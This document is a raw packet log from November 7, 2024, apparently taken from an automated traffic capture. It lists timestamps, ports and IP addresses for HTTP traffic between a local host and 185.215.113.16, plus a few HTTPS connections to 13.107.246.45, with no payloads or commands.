Nov 7, 2024 06:01:18.241106987 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241121054 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.241123915 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241136074 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241146088 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.241147041 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241154909 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241166115 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.241168976 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241183996 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241185904 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.241199970 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241209984 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.241219997 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241231918 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241241932 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241242886 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.241265059 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.241282940 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.241292000 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241313934 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241338015 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241355896 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.241364956 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.241367102 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241420984 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241465092 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.241482019 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241492987 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241523027 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.241533041 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241542101 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.241545916 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241559029 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241580009 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.241616011 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.241645098 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241719961 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241761923 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.241875887 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241887093 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241892099 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241908073 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241919041 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241929054 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241931915 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.241940975 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241956949 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.241959095 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241969109 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.241971970 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241983891 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241997957 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.241997957 CET	443	49833	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.241998911 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.242013931 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.242023945 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.242029905 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.242037058 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.242047071 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.242062092 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.242079973 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.242084980 CET	443	49833	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.242418051 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.242435932 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.242446899 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.242475033 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.242475986 CET	49833	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.242489100 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.242510080 CET	49833	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.242511988 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.242525101 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.242530107 CET	443	49833	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.242537022 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.242539883 CET	49833	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.242546082 CET	443	49833	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.242552996 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.242588043 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.242610931 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.242624044 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.242635012 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.242647886 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.242654085 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.242662907 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.242685080 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.242697001 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.244048119 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.244083881 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.244096041 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.244107008 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.244108915 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.244129896 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.244162083 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.244364023 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.244380951 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.244393110 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.244404078 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.244415998 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.244419098 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.244426966 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.244438887 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.244445086 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.244452000 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.244463921 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.244467020 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.244476080 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.244483948 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.244488001 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.244499922 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.244505882 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.244509935 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.244513035 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.244540930 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.244558096 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.244800091 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.244812965 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.244822979 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.244841099 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.244862080 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.244874954 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.244887114 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.244903088 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.244914055 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.244918108 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.244925022 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.244935036 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.244962931 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.244995117 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.245012999 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.245024920 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.245034933 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.245045900 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.245050907 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.245057106 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.245078087 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.245089054 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.245192051 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.245203018 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.245263100 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.245263100 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.245275021 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.245289087 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.245300055 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.245309114 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.245340109 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.245364904 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.245377064 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.245410919 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.245482922 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.245492935 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.245532036 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.245692015 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.245701075 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.245734930 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.245753050 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.245820999 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.245834112 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.245860100 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.245892048 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.245901108 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.245912075 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.245923996 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.245934963 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.245942116 CET	49845	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.245945930 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.245953083 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.245958090 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.245970011 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.245980024 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.245985031 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.245985985 CET	443	49845	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.245991945 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.245994091 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.246016026 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.246042967 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.246056080 CET	49845	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.246182919 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.246196032 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.246206999 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.246229887 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.246258974 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.246498108 CET	49845	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.246514082 CET	443	49845	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.246545076 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.246556997 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.246567965 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.246579885 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.246589899 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.246592999 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.246602058 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.246614933 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.246627092 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.246632099 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.246642113 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.246649981 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.246670008 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.246685028 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.246695995 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.246707916 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.246726990 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.246731043 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.246742964 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.246782064 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.246817112 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.246988058 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247101068 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247102022 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.247112989 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247123957 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247134924 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247140884 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.247147083 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247154951 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.247159004 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247170925 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247181892 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247189999 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.247194052 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247211933 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247215033 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.247222900 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247231960 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.247235060 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247246981 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247256994 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.247261047 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247268915 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.247272968 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247283936 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247293949 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247296095 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.247306108 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247325897 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.247342110 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.247353077 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247364998 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247406006 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.247631073 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247642040 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247652054 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247663021 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247673988 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.247700930 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247709990 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.247729063 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247747898 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.247766018 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.247809887 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247855902 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247867107 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247884989 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.247899055 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247908115 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.247915030 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247926950 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247937918 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.247940063 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.247968912 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.248006105 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.248030901 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.248089075 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.248099089 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.248116970 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.248117924 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.248130083 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.248145103 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.248159885 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.248174906 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.248219013 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.248224020 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.248265982 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.248275995 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.248287916 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.248308897 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.248343945 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.248348951 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.248411894 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.248462915 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.248481989 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.248493910 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.248505116 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.248519897 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.248548031 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.248552084 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.248604059 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.248614073 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.248614073 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.248653889 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.248684883 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.248697042 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.248714924 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.248725891 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.248735905 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.248739958 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.248748064 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.248759031 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.248769045 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.248769999 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.248784065 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.248800039 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.248851061 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.248861074 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.248907089 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.249006033 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249017954 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249041080 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249052048 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249058008 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.249063969 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249075890 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249078035 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.249099016 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.249129057 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.249183893 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249252081 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249268055 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249279022 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249289989 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249293089 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.249327898 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.249351978 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249362946 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249372959 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249375105 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.249386072 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249393940 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.249398947 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249409914 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249419928 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.249423027 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249438047 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.249464989 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.249608040 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249624968 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249636889 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249646902 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249650955 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.249659061 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249670029 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249672890 CET	49834	80	192.168.2.4	185.215.113.16
